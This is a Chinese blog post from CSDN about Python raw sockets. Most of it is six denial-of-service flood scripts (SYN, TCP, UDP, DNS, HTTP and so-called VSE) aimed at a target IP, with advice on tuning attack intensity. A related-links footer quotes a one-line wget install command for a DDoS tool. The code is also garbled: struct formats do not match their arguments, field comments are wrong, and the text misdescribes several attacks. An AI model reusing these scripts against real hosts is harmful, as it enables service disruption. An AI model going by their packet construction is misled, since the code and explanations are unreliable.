Python的原始套接字以及常见的Flood Attack示例

最新推荐文章于 2024-07-09 22:07:35 发布
最新推荐文章于 2024-07-09 22:07:35 发布
阅读量632 收藏 10
点赞数 3
文章标签： python 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_77778490/article/details/132602042
版权

Python的原始套接字（raw sockets）提供了一种更低级别的网络编程接口，可以用来直接操作网络协议的底层操作。这使得原始套接字可以用于创建自定义的网络协议或者对现有的网络协议进行更精细的控制。

使用原始套接字，你可以直接处理IP数据包、TCP数据段和其他网络协议的数据单元。这对于需要深入控制网络协议的行为或者需要处理底层的网络数据的应用场景非常有用。

在Python中，可以使用socket模块的socket()函数来创建一个原始套接字。例如：

import socket

# 创建一个原始套接字
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

# 或者使用更明确的方式创建原始套接字
s = socket.socket(socket.AF_INET, socket.SOCK_RAW)

注意，使用原始套接字需要小心，因为错误的处理可能导致程序崩溃或者其它不可预期的后果。此外，原始套接字通常需要对网络协议有深入的理解，因为你需要手动处理底层的网络数据。

以下是使用Python原始套接字发送IP包的示例代码：

import socket
import struct

# 构造IP头部
ip_header = struct.pack('!BBHHH',
    0x45, 0x00, 0x00, 0x2C, 0x1A, 0x3C,   # 版本号 + 头部长度 + 总长度 + TOS
    0x2C, 0x1A,                         # ID + 分片偏移量
    0x00, 0x00,                         # TTL + 协议号
    0x11, 0x22,                         # 源IP地址 + 目标IP地址
    socket.inet_aton('192.168.1.1'),     # 源IP地址
    socket.inet_aton('192.168.1.2'))     # 目标IP地址

# 构造UDP数据
udp_data = struct.pack('!HHi',
    0x1357, 0x000A, 12345)             # Source port + Destination port + Length

# 构造UDP头部
udp_header = struct.pack('!HHH',
    socket.htons(0x1357),               # Source port
    socket.htons(0x000A),               # Destination port
    len(udp_data))                      # Length

# 将UDP头部和数据添加到IP头部后面
ip_packet = ip_header + udp_header + udp_data

# 创建一个原始套接字并发送IP包
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.sendto(ip_packet, ('192.168.1.2', 0))

这段代码会构造一个IP包，其中包含一个UDP头部和数据。然后使用原始套接字将这个IP包发送到目标IP地址（在这个例子中是192.168.1.2）。注意，这个示例代码中的IP头部和UDP头部都是手动构造的，因此需要使用struct模块来将它们打包成二进制格式。

原始套接字最大的用处是可以自己构造IP包，这使得原始套接字在flood攻击中得到了广泛应用。下面是几个常见的使用原始套接字进行flood攻击的示例代码：

1."SYN"攻击是拒绝服务（DoS）的一种攻击方式，主要针对TCP协议。在Python中，可以使用socket模块来模拟这种攻击。以下是一个简单的示例代码：

import socket
import struct
import time

def syn_attack(target_ip, target_port, send_rate):
    # 构造IP头部
    ip_header = struct.pack('!BBHHH',
        0x45, 0x01, 0x00, 0x54, 0x00, 0x00,   # Version + Header Length + Total Length + TOS
        0x40, 0x00,                         # ID + Fragment Offset
        0x40, 0x06,                         # TTL + Protocol
        0x11, 0x22,                         # Source IP + Destination IP
        socket.inet_aton('192.168.1.1'),     # Source IP
        socket.inet_aton(target_ip))        # Destination IP

    # 构造TCP头部
    tcp_header = struct.pack('!HHLLLL',
        0x6455, target_port, 0x000A,              # Source Port + Destination Port + Sequence Number
        0x48DFCE89, 0x5A9F3B27,              # Acknowledgement Number + Window Size
        0xC8E7, 0x16D8,                      # Reservation Bits + Urgent Pointer + Options + Padding
        0x4C15,                             # TCP Flags (SYN)
        8)                                   # Length of TCP header in 32-bit words

    # 创建原始套接字并发送SYN包
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    while True:
        try:
            s.sendto(ip_header + tcp_header, (target_ip, target_port))
            time.sleep(send_rate)
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    target_port = 80          # 目标端口
    send_rate = 1             # 每秒发送的SYN包数量
    syn_attack(target_ip, target_port, send_rate)

2.TCP FLOOD攻击的示例代码：

import socket
import struct
import time

def tcp_flood(target_ip, target_port, send_rate):
    # 创建原始套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    # 构造IP头部
    ip_header = struct.pack('!BBHHH',
        0x45, 0x00, 0x00, 0x54, 0x00, 0x00,   # Version + Header Length + Total Length + TOS
        0x40, 0x00,                         # ID + Fragment Offset
        0x40, 0x06,                         # TTL + Protocol
        0x11, 0x22,                         # Source IP + Destination IP
        socket.inet_aton('192.168.1.1'),     # Source IP
        socket.inet_aton(target_ip))        # Destination IP

    # 构造TCP头部
    tcp_header = struct.pack('!HHLLLL',
        0x6455, target_port, 0x000A,              # Source Port + Destination Port + Sequence Number
        0x48DFCE89, 0x5A9F3B27,              # Acknowledgement Number + Window Size
        0xC8E7, 0x16D8,                      # Reservation Bits + Urgent Pointer + Options + Padding
        0x4C15,                             # TCP Flags (SYN)
        8)                                   # Length of TCP header in 32-bit words

    while True:
        try:
            # 发送TCP包
            s.sendto(ip_header + tcp_header, (target_ip, target_port))
            time.sleep(send_rate)
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    target_port = 80          # 目标端口
    send_rate = 1             # 每秒发送的TCP包数量
    tcp_flood(target_ip, target_port, send_rate)

该代码会创建一个原始套接字，然后不断向目标IP地址和端口发送TCP SYN包，从而进行TCP FLOOD攻击。可以根据需要调整发送速率（每秒发送的TCP包数量）来控制攻击强度。

3.UDP FLOOD攻击的示例代码：

import socket
import struct
import time

def udp_flood(target_ip, target_port, send_rate):
    # 创建原始套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)

    while True:
        try:
            # 发送UDP包
            s.sendto(b'X' * 64, (target_ip, target_port))
            time.sleep(send_rate)
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    target_port = 80          # 目标端口
    send_rate = 1             # 每秒发送的UDP包数量
    udp_flood(target_ip, target_port, send_rate)

该代码会创建一个原始套接字，然后不断向目标IP地址和端口发送长度为64字节的UDP数据包，从而进行UDP FLOOD攻击。可以根据需要调整发送速率（每秒发送的UDP包数量）来控制攻击强度。

4.以下是使用Python原始套接字实现DNS FLOOD攻击的示例代码：

import socket
import struct
import time

def dns_flood(target_ip, domain):
    # 创建原始套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)

    while True:
        try:
            # 构造DNS请求数据
            dns_query = struct.pack('!HHHHHH',
                0x0001, 0x0001, 0x0000, 0x0001, 0x0004, 0x0005) + b'\x01\x23\x45\x67\x89\xab' + b'\x00\x09' + domain.encode('utf-8') + b'\x00\x04' + target_ip.encode('utf-8') + b'\x81\x80'
            # 发送DNS请求数据
            s.sendto(dns_query, ('8.8.8.8', 53))
            time.sleep(1/10)
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    domain = "example.com"     # 目标域名
    dns_flood(target_ip, domain)

该代码会创建一个原始套接字，然后不断向DNS服务器发送DNS查询请求，查询目标域名对应的IP地址。由于该请求没有提供正确的源IP地址，因此可能会造成目标服务器无法响应正常请求，从而形成DNS FLOOD攻击。可以根据需要调整发送速率（每秒发送的请求数）来控制攻击强度。

5.使用Python的原始套接字（raw socket）可以创建简单的HTTP洪水攻击。下面是一个简单的示例代码：

import socket
import time

def http_flood(target_ip, target_port, request):
    # 创建原始套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    while True:
        try:
            # 发送HTTP请求
            s.sendto(request.encode(), (target_ip, target_port))
            time.sleep(1/10)  # 调整发送速率
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    target_port = 80          # 目标端口
    request = b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n"  # HTTP请求示例
    http_flood(target_ip, target_port, request)

注意：

  • 在此代码中，我们使用了一个简单的GET请求作为HTTP洪水攻击的示例。你可以根据需要修改HTTP请求的内容。
  • 发送HTTP请求时，需要将其编码为字节字符串（request.encode()）。

6.VSE flood是一种常见的拒绝服务攻击，它利用TCP协议的三次握手过程来进行攻击。在Python中，可以使用原始套接字来实现VSE flood攻击。以下是一个简单的示例代码：

import socket
import struct
import time

def vse_flood(target_ip, target_port):
    # 创建原始套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    while True:
        try:
            # 构造TCP报文头
            tcp_header = struct.pack('!HHL',
                0x4500, 0x001c, 0x0000) + b'\x01\x13\x00\x00' + struct.pack('!HHL',
                0x4500, 0x001c, 0x0a46) + b'\x02\x13\x00\x00' + struct.pack('!BBH',
                0x5c, 0x11, 0x47) + b'\xff' * 12 + b'\x00\x7f\x00\x01' + socket.inet_aton('192.168.1.1') + b'\x08\x06'
            # 发送TCP报文
            s.sendto(tcp_header, (target_ip, target_port))
            time.sleep(1/10)  # 调整发送速率
        except Exception as e:
            print(f"Error: {e}")
            break

if __name__ == "__main__":
    target_ip = "192.168.1.2"  # 目标IP地址
    target_port = 80          # 目标端口
    vse_flood(target_ip, target_port)

在这个示例代码中，我们使用了socket模块创建了一个原始套接字，然后构造了一个TCP报文头，并将它发送到目标IP地址和端口。在TCP报文头中，我们使用了伪造的源IP地址和端口号，以及目标IP地址和端口号。这将导致目标主机不断尝试与伪造的源IP地址和端口号建立TCP连接，从而造成拒绝服务攻击。

请注意，以上攻击方式可能会造成目标服务器无法响应正常请求，因此它通常被视为一种不道德或非法的行为。请在遵守法律和道德的前提下使用和理解代码。

在这里插入图片描述

Anuttarasamyasambodh
关注
Python原始套接字编程实例解析
12-20
这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 在实验中需要自己构造单独的HTTP数据报文，而使用SOCK_STREAM进行发送数据包，需要进行完整的TCP交互。 因此想使用原始套接字进行编程，直接构造数据包，并在IP层进行发送，即采用SOCK_RAW进行数据发送。 使用SOCK_RAW的优势是，可以对数据包进行完整的修改，可以处理IP层上的所有数据包，对各字段进行修改，而不受UDP和TCP的限制。 下面开始构造HTTP数据包， IP层和TCP层使用python的Impacket库，http
python网络套接字_Python中利用原始套接字进行网络编程的示例
weixin_39609483的博客
12-09 156
在实验中需要自己构造单独的HTTP数据报文，而使用SOCK_STREAM进行发送数据包，需要进行完整的TCP交互。因此想使用原始套接字进行编程，直接构造数据包，并在IP层进行发送，即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是，可以对数据包进行完整的修改，可以处理IP层上的所有数据包，对各字段进行修改，而不受UDP和TCP的限制。下面开始构造HTTP数据包，IP层和TCP层使用p...
python scapy库实现泛洪(flood)攻击
最新发布
2301_80419020的博客
07-09 283
python scapy泛洪攻击
Python 原始套接字和流量嗅探
CSDN
05-28 1万+
Python提供了原始套接字（Raw Sockets）的支持，这使得我们可以使用Python进行流量嗅探和网络数据包分析。原始套接字允许我们直接访问网络层的数据包，而不经过操作系统的传输层协议栈。
python原始套接字_python原始套接字编程示例分享
weixin_39993301的博客
12-24 102
下面开始构造HTTP数据包，IP层和TCP层使用python的Impacket库，http内容自行填写。#!/usr/bin/env python#-------------------------------------------------------------------------------# Name: raw_http.py# Purpose: constru...
关于《Python绝技：运用Python成为顶级黑客》的学习笔记
热门推荐
Mi1k7ea
06-10 4万+
本篇文章主要把《Python绝技：运用Python成为顶级黑客》中的代码敲一遍，学学Python安全相关的编程与思路，然后根据具体的情况修改一下代码。   第一章——入门 1、准备开发环境 安装第三方库： 安装Python-nmap包：   wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-O...
Python网络编程：构建高效可靠的网络应用
![Python网络编程：构建高效可靠的网络应用]...Python网络编程是利用Python语言构建网络应用和服务的技术。它提供了一系列强大的库和工具，使开发人员能够轻松地创建
常见的DDoS攻击工具和技术
在本章中，我们将介绍DDoS攻击的定义、危害以及分类，以便更好地理解和对抗这种网络安全威胁。 ## 第二章：常见的DDoS攻击工具 DDoS（分布式拒绝服务）攻击是一种通过使用大量来自多个来源的计算机或网络设备，在短...
超详细面试准备（10分钟打遍所有初级后端开发面试）
weixin_44540766的博客
02-23 4669
面试知识汇总 如何介绍项目： https://www.sohu.com/a/259724527_775404 自我介绍：https://www.jianshu.com/p/008fc86a1f28 4W字的后端面试知识点总结： https://www.cnblogs.com/aobing/p/12849591.html 后端技术框架： https://www.cnblogs.com/loren-Yang/p/11073536.html 数据结构 Java HashMap原理： https://yikun.g
kali linux 支持什么编程语言_渗透过程中可能要用到的Kali工具小总结
weixin_39576066的博客
10-24 2749
渗透过程中可能要用到的Kali工具小总结写在最前面最近在搞渗透的时候，发现过程中有一些kali工具还是很适合使用的所以写一个渗透过程中可能用到的kali渗透工具的小小总结写的不对 多多包涵 各位大佬轻喷 :DKali用得好 牢饭准管饱渗透不规范 亲人两行泪先来了解一下Kali(From Wikipdeia)Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。由Of...
python使用原始套接字发送二层包(链路层帧)的方法
09-19
今天小编就为大家分享一篇python使用原始套接字发送二层包(链路层帧)的方法，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧
Python中利用原始套接字进行网络编程的示例
09-22
主要介绍了Python中利用原始套接字进行网络编程的示例,使用sock_raw接受和发送数据包可以避开网络协议的诸多限制,需要的朋友可以参考下
Python-UDP-Flood:使用 python 进行的非常基本的 DOS 攻击
05-29
Python-UDP-洪水 使用 python 进行的非常基本的 DOS 攻击。 可以使用多台计算机将其转换为DDOS攻击。 我不对您使用此程序提供的使用负责。 它支持UDP和TCP 用法 下载或复制rundos.sh的脚本 也许你应该这样做才能让它发挥作用。 chmod +x rundos.sh 自动安装脚本 wget -O ddos.sh ' https://raw.githubusercontent.com/XaviFortes/Python-UDP-Flood/master/rundos.sh ' && chmod +x ddos.sh && ./ddos.sh 运行此代码并想再次打开它后，只需执行以下操作： ./ddos.sh 如果你想要一个自动更新的 bash 脚本（我认为它不会更新太多），把自动安装脚本放在一个 .sh 文件中 视窗 如果你在 Windows 上
python黑帽子学习笔记（四）——网络：原始套接字和流量嗅探
qq_40909772的博客
10-23 953
1.（1）简单的包嗅探。 套接字：TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点，这种端点就叫做套接字(socket)或插口，套接字用(IP地址:端口号)表示。 （2）代码。 # -*- coding: UTF-8 -*- import socket import os #监听的主机 host = "172.22.93.25" #创建原始套接字，然后绑定在公开接口上 if os....
套接字及其编程（python）
qq_28414091的博客
04-26 804
socket（套接字）是一个抽象层，允许应用程序将I/O接入网络，与网络中其他应用程序进行通信。
python：实现套接字编程(附完整源码)
希望我的博客，能帮上你解决学习中工作中所遇到的问题
03-15 70
python：实现套接字编程(附完整源码)
Python实现常见泛洪攻击
neutra_bayet的博客
07-19 1223
Python实现基本泛洪攻击
udp flood attack
06-13
靠性较好。这些结果为医院感染的预防和控制提供了重要的参考依据UDP flood attack是一种网络攻击方式，攻击者利用UDP协议发送大量的UDP数据包来占用目标机器的网络带宽和系统资源，从而使目标机器无法正常处理合法的网络请求，同时也为相关研究提供了新的思路和方向。但是，需要在今后的研究中。攻击者可能使用多个来源IP地址来隐藏自己的真实身份，使得攻击更加难以进一步拓展样本容量和研究方法，以提高研究的可靠性和有效性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值